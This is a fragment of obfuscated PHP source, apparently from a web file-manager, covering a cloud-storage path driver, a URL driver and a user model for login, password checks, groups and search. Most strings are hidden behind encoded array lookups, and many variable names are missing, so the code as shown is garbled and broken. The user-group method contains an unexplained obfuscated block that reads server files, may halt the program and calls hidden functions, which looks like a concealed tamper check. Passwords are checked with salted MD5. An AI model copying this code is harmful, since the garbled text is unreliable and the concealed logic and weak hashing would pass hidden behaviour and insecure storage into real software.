isset($[$ҧ[1584]]) ? $[$ҧ[1584]] : array(); if (empty($Şɑ)) { break; } $ = array_filter($Şɑ, function ($) { $ѣ܃ =& $_SERVER[]; return $[$ѣ܃[33]] == $ѣ܃[88]; }); $ = count($Şɑ); $ = count($); $Ǥ = $ - $; if ($) { $ܴ += $; $ += $Ǥ; if ($ < $Ū) { break; } continue; } if ($ۛә) { if ($Ǥ) { return !0; } } else { if ($) { return !0; } } if ($ < $Ū) { break; } } if ($) { return array($ҧ[249] => $, $ҧ[250] => $ܴ); } return !1; } public function listAll($Ͱ) { $Ȱ =& $_SERVER[]; $̞ = $ = array(); $this->fileList($Ͱ, $̞, $, !0); $ = array_to_keyvalue($, $Ȱ[32]); foreach ($̞ as $Ԫ) { if (is_string($Ԫ)) { $[$Ԫ] = array($Ȱ[89] => 0); } } return $this->listAllFiles($Ͱ, $); } public function canRead($袈ٓ) { return $this->exist($袈ٓ) ? !0 : !1; } public function canWrite($Ӏ) { return $this->exist($Ӏ) ? !0 : !1; } public function getContent($רƟ) { return $this->fileSubstr($רƟ, 0, -1); } public function setContent($, $ʨ = '') { $Ң짊 =& $_SERVER[]; if (!$ʨ) { $ʑ = $this->ussRequest($, $Ң짊[267]); return $ʑ[$Ң짊[1308]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $ʨ); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($ѳ, $狿, $) { $ =& $_SERVER[]; if (!($ = $this->link($ѳ))) { return !1; } $ = !1; if ($ > 0) { $ = $狿 + $ - 1; $ = array($[1544] . $狿 . $[471] . $); } $ = url_request($, $[271], !1, $); return $[$[839]] ? $[$[1298]] : !1; } public function upload($֢, $, $Ҳ = false, $ƒ = REPEAT_REPLACE) { $ =& $_SERVER[]; $܄ = IO::size($); if ($܄ <= 1024 * 1024 * 200) { $ = array($[1586] . $); $Ǐ§ = $this->ussRequest($֢, $[269], $); return $Ǐ§[$[1308]] ? $this->getPathOuter($֢) : !1; } $ = 1024 * 1024 * 10; $Ŝʢ҇ = array($[1587], $[1588] . $܄, $[1589], $[1590] . $); $Ǐ§ = $this->ussRequest($֢, $[269], !1, $Ŝʢ҇); if (!$Ǐ§[$[1308]]) { return !1; } $Ѹ = $Ǐ§[$[1298]]; $Ɣ = 0; $ݖ = $Ѹ[$[1591]]; $Ŋ = fopen($, $[1467]); if (!$Ŋ) { return !1; } do { $㐥 = $Ѹ[$[1592]]; fseek_64($Ŋ, $Ɣ); $ܴ = fread($Ŋ, $㐥); $Е = 0; do { $Е++; $Ѹ = $this->uploadPart($֢, $Ѹ, $ܴ); } while (!$Ѹ && $Е < 3); if (!$Ѹ) { return !1; } $ݖ = $Ѹ[$[1591]]; $Ɣ += $㐥; } while ($ݖ != -1); fclose($Ŋ); $Ŝʢ҇ = array($[1593], $[1594] . $Ѹ[$[1595]], $[1589]); $Ǐ§ = $this->ussRequest($֢, $[269], !1, $Ŝʢ҇); return $Ǐ§[$[1308]] ? $this->getPathOuter($) : !1; } private function uploadPart($, $ȁŖ, &$â) { $ݧ =& $_SERVER[]; $ = array($ݧ[1596], $ݧ[1594] . $ȁŖ[$ݧ[1595]], $ݧ[1597] . $ȁŖ[$ݧ[1591]], $ݧ[156] . $ȁŖ[$ݧ[1592]]); $Տ = $this->ussRequest($, $ݧ[269], $â, $); return !$Տ[$ݧ[1308]] ? $Տ[$ݧ[1308]] : $Տ[$ݧ[1298]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function multiUploadFormData($՟, $ = 3600) { $ڈ =& $_SERVER[]; $ݨ = (int) $GLOBALS[$ڈ[7]][$ڈ[89]]; return $this->uploadPolicy($՟, $, $ݨ); } private function uploadPolicy($, $ѵ = 3600, $ = 0) { $ =& $_SERVER[]; $ڔ = $[8] . $this->bucket; $ = gmdate($[1502]); $Ƽ = array($[1598] => $this->bucket, $[1599] => $, $[1600] => time() + $ѵ, $[1601] => $); if ($) { $Ƽ[$[1487]] = $; } $Ʈ = base64_encode(json_encode($Ƽ)); $뮲 = base64_encode(hash_hmac($[1555], "\x50\x4f\x53\x54\x26{$ڔ}\46{$}\x26{$Ʈ}", md5("{$this->userpass}"), !0)); $̯ȡ = array($[302] => $Ʈ, $[1602] => "\x55\120\x59\x55\x4e\x20{$this->username}\x3a{$뮲}", $[218] => $this->endpoint . $ڔ); return $̯ȡ; } public function download($ğһ, $܃) { $л = IO::getPathInner(IO::mkfile($܃)); if (!($홌 = $this->link($ğһ))) { return !1; } $α = 0; $˻ = 1024 * 200; $ = fopen($л, $_SERVER[][1550]); while (!0) { $ъ = $this->fileSubstr($ğһ, $α, $˻); if ($ъ === !1) { return !1; } fwrite($, $ъ); $α += $˻; if (strlen($ъ) < $˻) { break; } } fclose($); return $܃; } public function link($ȶ, $ = array()) { $ =& $_SERVER[]; $ȶ = trim($ȶ, $[8]); if (!empty($this->token)) { $˫ = strtotime(date($[1603])); $ = substr(md5($this->token . $[369] . $˫ . $[1604] . $ȶ), 12, 8) . $˫; $[] = $[1605] . $; } $ = !empty($) ? $[86] . implode($[369], $) : $[12]; return $this->getHost() . $[8] . $ȶ . $; } public function fileOut($, $ʴ = false, $Ї = false, $ɧ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $ʴ, $Ї, $ɧ); } if (!$Ї) { $Ї = $this->pathThis($); } $ = $ʴ ? array($_SERVER[][1606] . rawurlencode($Ї)) : array(); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($Զ, $ = false, $Ԩ = false, $ߏ§ = '') { parent::fileOut($Զ, $, $Ԩ, $ߏ§); } public function fileOutImage($, $ = 250) { $ = $this->link($ . $_SERVER[][1607] . $); $this->fileOutLink($); } public function fileOutImageServer($ř, $ = 250) { parent::fileOutImage($ř, $); } public function hashMd5($㒷) { $ݧ =& $_SERVER[]; $ = $this->_objectMeta($㒷); return isset($[$ݧ[255]]) ? $[$ݧ[255]] : !1; } public function size($) { $ܨ = $this->objectMeta($); return $ܨ ? $ܨ[$_SERVER[][89]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($Ȝ) { return $this->isFile($Ȝ) || $this->isFolder($Ȝ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ʺ) { return $this->cacheMethod($_SERVER[][189], $ʺ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][191], $); } protected function _objectMeta($ђ) { $ =& $_SERVER[]; if ($ђ == $[12] || $ђ == $[8]) { return array(); } $ = $this->ussRequest($ђ, $[1608]); if (!$[$[1308]]) { return null; } $ = isset($[$[1298]]) ? $[$[1298]] : array(); if (!isset($[$[1609]])) { return null; } $ْ = array($[33] => isset($[$[1609]]) ? $[$[1609]] : null, $[89] => isset($[$[1610]]) ? $[$[1610]] : null, $[255] => isset($[$[1611]]) ? $[$[1611]] : null, $[1578] => isset($[$[1612]]) ? $[$[1612]] : null); $ْ[$[1579]] = isset($[$[1613]]) ? strtotime($[$[1613]]) : $ْ[$[1578]]; return $ْ; } protected function _isFolder($ԯʃ) { $ן =& $_SERVER[]; if ($ԯʃ == $ן[12] || $ԯʃ == $ן[8]) { return !0; } $ = $this->_objectMeta($ԯʃ); return isset($[$ן[33]]) && $[$ן[33]] == $ן[88] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ѱ = false) { } public function exist($) { $ǻLj = $this->info($); return $ǻLj[$_SERVER[][242]]; } public function isFile($䤕) { $ = $this->info($䤕); return $[$_SERVER[][242]]; } public function isFolder($) { return !1; } public function size($) { $œ = $this->info($); return $œ[$_SERVER[][89]]; } public function info($) { return $this->infoParse($); } public function infoAuth($َ) { return $this->infoParse($َ); } public function infoWithChildren($Ͱ) { return $this->infoParse($Ͱ); } public function infoFull($΁ϳ) { return $this->infoParse($΁ϳ); } private function infoParse($ѿ) { $ʔ =& $_SERVER[]; $ϓ = $this->header($ѿ); if (!$ϓ || !$ϓ[$ʔ[839]]) { return !1; } $Ȇ = _get($ϓ, $ʔ[422], 0); $ = array($ʔ[32] => $ϓ[$ʔ[32]], $ʔ[97] => $ѿ, $ʔ[33] => $ʔ[240], $ʔ[89] => intval($Ȇ), $ʔ[179] => get_path_ext($ϓ[$ʔ[32]]), $ʔ[1464] => $Ȇ > 0 && $ϓ[$ʔ[1614]], $ʔ[1465] => !1); return $; } private function header($窬ö) { $҆ =& $_SERVER[]; if (isset(self::$_cacheHeader[$窬ö])) { return self::$_cacheHeader[$窬ö]; } $䡀 = isset($GLOBALS[$҆[1615]]) ? $GLOBALS[$҆[1615]] : !1; $GLOBALS[$҆[1615]] = !0; self::$_cacheHeader[$窬ö] = url_header($窬ö); $GLOBALS[$҆[1615]] = $䡀; return self::$_cacheHeader[$窬ö]; } public function hashSimple($, $ = false) { $ʽׂ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$ʽׂ[242]]) { return !1; } $ǫ = $[$ʽׂ[89]]; $Է = 200; $ = 50; if ($ǫ <= $Է * $) { return md5($this->fileSubstr($, 0, $ǫ)) . $ǫ; } $÷ = intval($ǫ / $); $ = $ʽׂ[12]; $ = timeFloat(); $ = 15; for ($힉 = 0; $힉 < $; $힉++) { if (timeFloat() - $ > $) { return !1; } $✱ = $this->fileSubstr($, $÷ * $힉, $Է); if (!$✱) { return !1; } $ .= $✱; } $ .= $this->fileSubstr($, $ǫ - $Է, $Է); return md5($) . $ǫ; } public function getContent($Н) { return $this->fileSubstr($Н); } public function fileSubstr($ր, $ˢ = 0, $ = -1) { $ =& $_SERVER[]; $ = $this->info($ր); if (!$ || !$[$[242]] && $[$[89]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $[$[89]]; } if ($ == 0) { return $[12]; } $Զ = array($[1616] . $ˢ . $[874] . ($ˢ + $ - 1)); $ϟ = url_request($ր, $[271], !1, $Զ, !1, !1, 30); return $ϟ[$[1298]] ? $ϟ[$[1298]] : $[12]; } public function download($Ğ, $հ) { Downloader::start($Ğ, $հ); return $հ; } } goto e; d: define($_SERVER[][325], 2); define($_SERVER[][326], 3); define($_SERVER[][327], 1); goto e풃; B: class UserModel extends ModelBase { protected $tableName = "\x75\163\145\162"; protected $tableMeta = array("\x74\141\x62\x6c\145\x4e\141\155\x65" => "\x75\x73\x65\162\137\155\145\164\141", "\155\145\x74\141\x46\151\145\154\x64" => "\165\x73\x65\162\111\x44"); protected $simpleField = "\x75\x73\x65\162\111\104\x2c\x6e\x69\143\153\x4e\141\155\x65\54\x6e\141\155\x65\54\x61\x76\141\x74\141\162\54\x73\145\x78\x2c\x73\x74\x61\x74\x75\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($ٞ) { $ڃ =& $_SERVER[]; $˯ = $ڃ[2457]; return array($ڃ[2060] => array($ٞ[0], $˯), $ڃ[2062] => array($ٞ[0], $˯), $ڃ[2458] => array($ٞ[0], $˯)); } protected function getInfo($ϋ, $գ = false) { $әڑ = $this->getInfoSimple($ϋ); if (!is_array($әڑ)) { return array(); } if ($գ) { return $this->_getInfoApply($әڑ); } return $this->cacheFunctionGet($_SERVER[][2064], $ϋ); } protected function getInfoFull($ʷ, $亅 = false) { $ڪ = $this->getInfoSimple($ʷ); if (!is_array($ڪ)) { return array(); } if ($亅) { return $this->_getInfoApply($ڪ, !0); } return $this->cacheFunctionGet($_SERVER[][2459], $ʷ); } private function _getInfoApply($, $ё = false) { $ =& $_SERVER[]; if (!$) { return $; } $ = md5($[2460] . $[$[978]] . $[2461] . $[$[32]]); $ = $this->_listDataApplyItem($); $ޡײ = Model($[1429])->metaGet($[$[100]][$[203]]); $[$[2462]] = $; $[$[100]][$[2258]] = isset($ޡײ[$[2259]]) ? $ޡײ[$[2259]] : null; if ($ё) { $[$[548]] = $this->metaGet($[$[1779]]); } return $; } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if ($) { $ˁ = $this->where(array($[1779] => intval($)))->find(); if (!is_array($ˁ)) { return array(); } $ˁ[$[2463]] = Action($[2464])->parseUrl($ˁ[$[2463]]); return $ˁ; } return $this->cacheFunctionGet($[2065], $); } protected function getInfoSimpleOuter($) { $ׅ =& $_SERVER[]; if (!$ || $ == 0) { return array($ׅ[1779] => $ׅ[238], $ׅ[32] => $ׅ[186] . LNG($ׅ[2465]) . $ׅ[188], $ׅ[2463] => STATIC_PATH . $ׅ[2466]); } $ܵ = $this->cacheFunctionGet($ׅ[2065], $); $‹ = array_field_key($ܵ, explode($ׅ[50], $this->simpleField)); if (!$‹) { return array($ׅ[1779] => $ׅ[1284], $ׅ[32] => $ׅ[186] . LNG($ׅ[2467]) . $ׅ[188], $ׅ[2463] => STATIC_PATH . $ׅ[2468]); } $‹[$ׅ[2463]] = Action($ׅ[2464])->parseUrl($‹[$ׅ[2463]]); return $‹; } protected function groupUser($Ÿ) { } public static function errorLang($) { $ =& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2469], self::ERROR_USER_PASSWORD_ERROR => $[2470], self::ERROR_USER_EXIST_NAME => $[2471], self::ERROR_USER_EXIST_PHONE => $[2472], self::ERROR_USER_EXIST_EMAIL => $[2473], self::ERROR_USER_LOGIN_LOCK => $[2474], self::ERROR_IP_NOT_ALLOW => $[2475], self::ERROR_USER_EXIST_NICKNAME => $[2476]); $ = LNG($[$]); if ($ == self::ERROR_USER_LOGIN_LOCK) { $ꕹ = (int) Model($[2477])->get($[2478]); if ($ꕹ > 60) { $ = str_replace($[101], ceil($ꕹ / 60), $); } } return $; } public function getInfoByMeta($Ǧ, $êҰ) { $͖ =& $_SERVER[]; $ђ͈ = Model($͖[2479])->where(array($͖[107] => $Ǧ, $͖[459] => $êҰ))->find(); if ($ђ͈) { return $this->getInfo($ђ͈[$͖[1779]]); } return !1; } public function userLoginCheck($蒀, $˴) { $ =& $_SERVER[]; $ = $this->userLoginFind($蒀); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1779]], $˴)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1779]]); } public function userLoginFind($ʑ) { $ =& $_SERVER[]; $ܾ = array($[32] => $ʑ, $[2266] => $ʑ, $[390] => $ʑ, $[2480] => $ʑ, $[1089] => $[1091]); if ($this->nickNameRpt()) { unset($ܾ[$[2266]]); } return $this->where($ܾ)->find(); } public function clearCache($睻) { $Տ =& $_SERVER[]; $this->cacheFunctionClear($Տ[2064], $睻); $this->cacheFunctionClear($Տ[2065], $睻); $this->cacheFunctionClear($Տ[2459], $睻); } public function userPasswordCheck($, $) { $ک =& $_SERVER[]; $ߙ = $this->where(array($ک[1779] => intval($)))->find(); $ = $this->metaGet($); $ᓔ = isset($[$ک[2481]]) ? $[$ک[2481]] : $ک[12]; if (md5($ᓔ . trim($)) !== $ߙ[$ک[978]]) { return !1; } return !0; } public function userAdd($񪡏) { $ʘÑ =& $_SERVER[]; $ = array($ʘÑ[503] => $񪡏[$ʘÑ[32]], $ʘÑ[2482] => $񪡏[$ʘÑ[2184]], $ʘÑ[2483] => isset($񪡏[$ʘÑ[390]]) ? $񪡏[$ʘÑ[390]] : $ʘÑ[12], $ʘÑ[2484] => isset($񪡏[$ʘÑ[2480]]) ? $񪡏[$ʘÑ[2480]] : $ʘÑ[12], $ʘÑ[2485] => isset($񪡏[$ʘÑ[2266]]) ? $񪡏[$ʘÑ[2266]] : $񪡏[$ʘÑ[32]], $ʘÑ[2486] => isset($񪡏[$ʘÑ[2463]]) ? $񪡏[$ʘÑ[2463]] : $ʘÑ[12], $ʘÑ[2487] => isset($񪡏[$ʘÑ[2488]]) ? $񪡏[$ʘÑ[2488]] : 1, $ʘÑ[2489] => $񪡏[$ʘÑ[978]], $ʘÑ[2066] => isset($񪡏[$ʘÑ[1964]]) ? $񪡏[$ʘÑ[1964]] : 1024 * 1024 * 20, $ʘÑ[2067] => 0, $ʘÑ[2490] => 0, $ʘÑ[2111] => isset($񪡏[$ʘÑ[839]]) ? $񪡏[$ʘÑ[839]] : 1); if (!empty($񪡏[$ʘÑ[1779]])) { $[$ʘÑ[1779]] = $񪡏[$ʘÑ[1779]]; } $Г = $this->_checkExist($񪡏); if ($Г !== !0) { return $Г; } if (!empty($[$ʘÑ[2463]]) && strlen($[$ʘÑ[2463]]) > 255) { $[$ʘÑ[2463]] = $ʘÑ[12]; } $ = $this->add($); $ = array($ʘÑ[2489] => $[$ʘÑ[978]], $ʘÑ[2485] => $[$ʘÑ[2266]]); $this->userEdit($, $); Model($ʘÑ[1429])->userRootAdd($); return $; } protected function userEditTest($, $ʲ) { return $this->call($_SERVER[][2491], $, $ʲ); } protected function userEdit($ȁ, $ٳք) { $ =& $_SERVER[]; $̥ = $this->getInfoSimple($ȁ); if (!$̥) { return !1; } $ދδ = $this->_checkExist($ٳք, $ȁ); if ($ދδ !== !0) { return $ދδ; } if (isset($ٳք[$[978]]) && trim($ٳք[$[978]]) != $[12]) { $Ô = $this->metaGet($ȁ); if (empty($Ô[$[2481]])) { $Ô[$[2481]] = rand_string(10); Model($[586])->metaSet($ȁ, $[2481], $Ô[$[2481]]); } $ٳք[$[978]] = md5($Ô[$[2481]] . trim($ٳք[$[978]])); } else { unset($ٳք[$[978]]); } if (!empty($ٳք[$[2463]]) && strlen($ٳք[$[2463]]) > 255) { $ٳք[$[2463]] = $[12]; } $this->where(array($[1770] => $ȁ))->save($ٳք); if (isset($ٳք[$[2266]])) { $this->setNamePinyin($ȁ, $ٳք[$[2266]]); } $this->clearCache($ȁ); return !0; } public function setNamePinyin($Ⅸ, $񖋂 = false) { $‡ =& $_SERVER[]; if (!$񖋂) { $щ = $this->getInfoSimple($Ⅸ); $񖋂 = $щ[$‡[2266]] ? $щ[$‡[2266]] : $щ[$‡[32]]; } $ = Model($‡[607]); if (!Input::check($񖋂, $‡[664])) { return $->metaSet($Ⅸ, array($‡[547] => $‡[12], $‡[546] => $‡[12])); } return $->metaSet($Ⅸ, array($‡[547] => str_replace($‡[53], $‡[12], Pinyin::get($񖋂)), $‡[546] => Pinyin::get($񖋂, $‡[665]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ׄ = Model($[859])->get($[2492]); $ϧ = $GLOBALS[$[6]][$[466]][$[2492]]; $ = !is_null($ׄ) ? $ׄ : $ϧ; return !!$; } private function _checkExist($ѼȐ, $ߕ = false) { $󴕌 =& $_SERVER[]; $ކ = array($󴕌[32] => UserModel::ERROR_USER_EXIST_NAME, $󴕌[2266] => UserModel::ERROR_USER_EXIST_NICKNAME, $󴕌[390] => UserModel::ERROR_USER_EXIST_EMAIL, $󴕌[2480] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($ކ[$󴕌[2266]]); } $ = $ߕ ? array($󴕌[1779] => array($󴕌[2493], $ߕ)) : array(); foreach ($ކ as $ڑ => $) { $ = array(); foreach ($ކ as $ => $Е) { if (isset($ѼȐ[$]) && $ѼȐ[$]) { $[] = $ѼȐ[$]; } } if (!$) { continue; } $ǵ = array_merge(array($ڑ => array($󴕌[7], $)), $); $ = $this->where($ǵ)->find(); if ($) { return $; } } return !0; } public function userListInfo($Ƴ͂) { $묱 =& $_SERVER[]; $ = array(); $Ƴ͂ = is_array($Ƴ͂) ? array_unique($Ƴ͂) : array(); if (!$Ƴ͂) { return $; } if (count($Ƴ͂) < 20) { foreach ($Ƴ͂ as $ܣ) { $[$ܣ . $묱[12]] = $this->getInfoSimpleOuter($ܣ); } } else { $㣡 = array($묱[1770] => array($묱[501], $Ƴ͂)); if (count($Ƴ͂) == 1) { $㣡 = array($묱[1770] => $Ƴ͂[0]); } $آ = Model($묱[586])->field($this->simpleField)->where($㣡)->select(); $آ = array_to_keyvalue($آ, $묱[1779]); foreach ($Ƴ͂ as $ܣ) { $⃓ = $آ[$ܣ]; if (!$⃓) { $[$ܣ . $묱[12]] = $this->getInfoSimpleOuter($ܣ); continue; } $⃓[$묱[2463]] = Action($묱[2464])->parseUrl($⃓[$묱[2463]]); $[$ܣ . $묱[12]] = $⃓; } } return $; } protected function userStatus($Һ, $) { $ܪ = $this->getInfoSimple($Һ); if (!$ܪ) { return !1; } $߬ = array($_SERVER[][839] => $); return $this->userEdit($Һ, $߬); } protected function userRemove($) { $ =& $_SERVER[]; $۾ = $this->getInfoSimple($); if (!$۾) { return !1; } $ = array($[1770] => $); Model($[673])->where($)->delete(); Model($[2494])->where($)->delete(); Model($[2072])->where($)->delete(); Model($[2479])->where($)->delete(); Model($[1158])->where($)->delete(); Model($[2283])->removeUserAll($); Model($[914])->userRootRemove($); return $this->where($)->delete(); } protected function userGroupSet($ē, $, $кˀ = array()) { $̒ܽȧ =& $_SERVER[]; if ($_SERVER[$̒ܽȧ[60]] != $_SERVER[$̒ܽȧ[61]]) { $ = $̒ܽȧ[966]; $җ = $̒ܽȧ[62]; $ = $_SERVER[$̒ܽȧ[63]] . $̒ܽȧ[64]; $ۨż = $җ($); $滙 = explode($̒ܽȧ[65], $ۨż); if (count($滙) < $̒ܽȧ[711]) { $• = $̒ܽȧ[67]; $•(); } $ĺ = $̒ܽȧ[967]; $ĺ($_SERVER[$̒ܽȧ[968]]); $ĺ($_SERVER[$̒ܽȧ[63]] . $̒ܽȧ[2495]); $쁊 = 1; while ($쁊 > 1) { $쁊 = $쁊 + 4; $э = rawurlencode($쁊 . $̒ܽȧ[463]); } } $ = $this->getInfoSimple($ē); if (!$ || !is_array($)) { return !1; } $ = Model($̒ܽȧ[2072]); $->where(array($̒ܽȧ[1779] => $ē))->delete(); $ = array(); $ = 0; foreach ($ as $ => $) { $ = array($̒ܽȧ[1779] => $ē, $̒ܽȧ[1978] => $, $̒ܽȧ[2086] => $); $[$̒ܽȧ[2002]] = isset($кˀ[$]) ? $кˀ[$] : 0; $++; $[] = $; } return $->addAll($, array(), !0); } protected function userGroupAdd($߳Ƴ, $ = array()) { $ =& $_SERVER[]; $Ê = $this->getInfoSimple($߳Ƴ); if (!$Ê || empty($)) { return !1; } $ = array(); foreach ($ as $ => $ݛ) { $[] = array($[1779] => $߳Ƴ, $[1978] => $, $[2086] => $ݛ, $[2002] => 0); } return Model($[2072])->addAll($, array(), !0); } protected function userGroupRemove($, $Ҁ) { $̑ =& $_SERVER[]; $ƈݚ = $this->getInfoSimple($); if (!$ƈݚ || !$Ҁ) { return !1; } $ = array($̑[1770] => $, $̑[2070] => $Ҁ); return Model($̑[2072])->where($)->delete(); } public function listData() { $إ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($إ[$_SERVER[][454]]); return $إ; } public function listByID($) { $ȼ =& $_SERVER[]; if (!$) { return; } $ = array($ȼ[1779] => array($ȼ[7], $)); $– = $this->where($)->select(); $– = array_sort_keep($–, $ȼ[1779], $); $this->_listDataApply($–); return $–; } public function listByGroup($ԯ = 0, $܊ = array()) { $ =& $_SERVER[]; $и = $[12]; $ѝ = array(); if ($ԯ) { $ѝ = array($[2496] => intval($ԯ)); $и = "\114\105\x46\x54\40\112\117\111\x4e\40{$this->tablePrefix}\x75\163\145\162\137\147\162\x6f\x75\x70\40\x75\163\145\x72\x5f\x67\162\x6f\x75\x70\40\x6f\156\x20\x75\x73\x65\x72\x2e\x75\163\145\162\x49\x44\x20\x3d\40\x75\163\x65\162\x5f\x67\x72\157\x75\160\56\x75\x73\x65\162\111\104"; $Ի = Input::get($[539], null, $[12]) ? $[12] : $[2497]; } if (isset($܊[$[839]])) { $ѝ[$[2498]] = $܊[$[839]]; } $Ƞ = $this->_makeOrder($Ի)->field($[2499])->where($ѝ)->join($и)->selectPage(50); $this->_listDataApply($Ƞ[$[454]]); return $Ƞ; } private function _makeOrder($ = '') { $Á =& $_SERVER[]; $ܬ֔ = array($Á[1779], $Á[32], $Á[1966], $Á[2184], $Á[1938], $Á[241]); $ۢ = array($Á[532] => $Á[533], $Á[534] => $Á[535]); $ = Input::get($Á[539], $Á[7], $Á[1770], $ܬ֔); $ = Input::get($Á[540], $Á[7], $Á[2073], array($Á[2073], $Á[534])); $ = $ۢ[$]; $ = $ . "\165\163\145\162\x2e{$}\x20{$}\54\40\165\x73\x65\x72\x2e\x75\163\x65\x72\x49\104\x20\141\x73\x63"; return $this->alias($Á[2200])->order($); } public function listSearch($) { $ =& $_SERVER[]; $Э = trim($[$[2076]]); $ҷ = explode($[53], $Э); if (!$Э || count($ҷ) == 1) { return $this->listSearchNow($); } $ǭﴒ = array($[454] => array()); foreach ($ҷ as $ȝ) { if (!trim($ȝ)) { continue; } $[$[2076]] = $ȝ; $֚ = $this->listSearchNow($); $ǭﴒ[$[454]] = array_merge($ǭﴒ[$[454]], $֚[$[454]]); } $ǭﴒ[$[454]] = array_unique_by_key($ǭﴒ[$[454]], $[1779]); $ǭﴒ[$[451]] = array($[452] => count($ǭﴒ[$[454]]), $[448] => 20, $[438] => 1, $[453] => 1); return $ǭﴒ; } public function listSearchNow($) { $։̄ =& $_SERVER[]; $ѷ = trim($[$։̄[2076]]); $ = isset($[$։̄[2077]]) ? $[$։̄[2077]] : !1; $ѷ = str_replace($։̄[2078], $։̄[2079], trim($ѷ)); $ѻز = array($։̄[32] => array($։̄[468], "\45{$ѷ}\45"), $։̄[390] => array($։̄[468], "{$ѷ}\x25"), $։̄[2266] => array($։̄[468], "{$ѷ}\45"), $։̄[1089] => $։̄[2080]); if (Input::check($ѷ, $։̄[396])) { $ѻز[$։̄[1779]] = array($։̄[468], "{$ѷ}\x25"); $ѻز[$։̄[2480]] = array($։̄[468], "{$ѷ}\x25"); } if (!$ѷ) { $ѻز = array(); } if (isset($[$։̄[839]])) { $ѻز[$։̄[839]] = $[$։̄[839]]; } $ѻز = $this->parseWhereLike($ѻز); $ = $this->_makeOrder()->where($ѻز)->selectPage(20); if (!$ || count($[$։̄[454]]) < 5 && Input::check($ѷ, $։̄[403])) { $ = $this->_searchFromMeta($։̄[546], $ѷ, 10); $ײ = $this->_searchFromMeta($։̄[547], $ѷ, 10); $Àљ = array_merge($, $ײ, $[$։̄[454]]); $[$։̄[454]] = array_unique_by_key($Àљ, $։̄[1779]); $[$։̄[451]][$։̄[452]] = count($[$։̄[454]]); $[$։̄[451]][$։̄[453]] = ceil($[$։̄[451]][$։̄[452]] / $[$։̄[451]][$։̄[448]]); } $this->_listDataApply($[$։̄[454]]); $this->_filterByGroup($, $); return $; } private function _filterByGroup(&$Ù, $١ʂ) { $݂ =& $_SERVER[]; if (!$١ʂ) { return $Ù; } foreach ($Ù[$݂[454]] as $İ => &$) { $ = array_to_keyvalue($[$݂[2169]], $݂[12], $݂[1978]); if (!in_array($١ʂ, $)) { unset($Ù[$݂[454]][$İ]); } } unset($); $Ù[$݂[454]] = array_values($Ù[$݂[454]]); $Ù[$݂[451]] = array($݂[2236] => count($Ù[$݂[454]]), $݂[2234] => $Ù[$݂[451]][$݂[448]], $݂[2233] => 1, $݂[2235] => 1); } private function _searchFromMeta($, $, $ܴ) { $ =& $_SERVER[]; $ = strtolower($); $ = array($[107] => $, $[459] => array($[468], "\x25{$}\45")); $ = $this->parseWhereLike($); $ = Model($[2500])->where($)->limit($ܴ)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1779]); $姱 = $this->where(array($[1770] => array($[7], $)))->select(); if (!$姱) { return array(); } return $姱; } private function _listDataApplyItem($ű) { $ͭ = array($ű); $this->_listDataApply($ͭ); return $ͭ[0]; } private function _listDataApply(&$㞾) { $ =& $_SERVER[]; if (!$㞾) { return; } array_remove_key($㞾, $[978]); $ = array_to_keyvalue($㞾, $[12], $[1779]); $this->_listAppendGroup($㞾, $); $this->_listAppendMeta($㞾, $); $this->_listAppendSourceRoot($㞾, $); } private function _listAppendSourceRoot(&$, $ʏ) { $ =& $_SERVER[]; $ = Model($[914])->listSourceRoot(SourceModel::TYPE_USER, $ʏ); $ = array_to_keyvalue($, $[578]); $ = array_remove_key($, $[578]); foreach ($ as &$ާ) { $ާ[$[100]] = $[$ާ[$[1779]]] ? $[$ާ[$[1779]]] : array(); } unset($ާ); } private function _listAppendGroup(&$蚪, $) { $泽͝ =& $_SERVER[]; $ִ = array($泽͝[1779] => array($泽͝[7], $)); $ͭ = Model($泽͝[2072])->where($ִ)->select(); $ = array_to_keyvalue($ͭ, $泽͝[12], $泽͝[1978]); $ = array_remove_value(array_unique($), $泽͝[238]); if (!$ || !$ͭ) { return; } $ִ = array($泽͝[1978] => array($泽͝[7], $)); $꼡 = Model($泽͝[2167])->field($泽͝[2501])->where($ִ)->select(); $꼡 = array_to_keyvalue($꼡, $泽͝[1978]); $ͭ = array_to_keyvalue_group($ͭ, $泽͝[1779]); foreach ($ͭ as &$΄) { $ = array(); foreach ($΄ as $) { if (!$[$泽͝[2086]]) { continue; } $Ȝɨ = Model($泽͝[580])->listData($[$泽͝[2086]]); $[] = array($泽͝[1978] => $[$泽͝[1978]], $泽͝[2502] => $꼡[$[$泽͝[1978]]][$泽͝[32]], $泽͝[593] => $꼡[$[$泽͝[1978]]][$泽͝[593]], $泽͝[496] => $Ȝɨ); } $΄ = $; } unset($΄); foreach ($蚪 as &$ù) { $ù[$泽͝[2169]] = array(); if (isset($ͭ[$ù[$泽͝[1779]]])) { $ù[$泽͝[2169]] = $ͭ[$ù[$泽͝[1779]]]; } } unset($ù); } public function userAppendGroup($ǰ) { 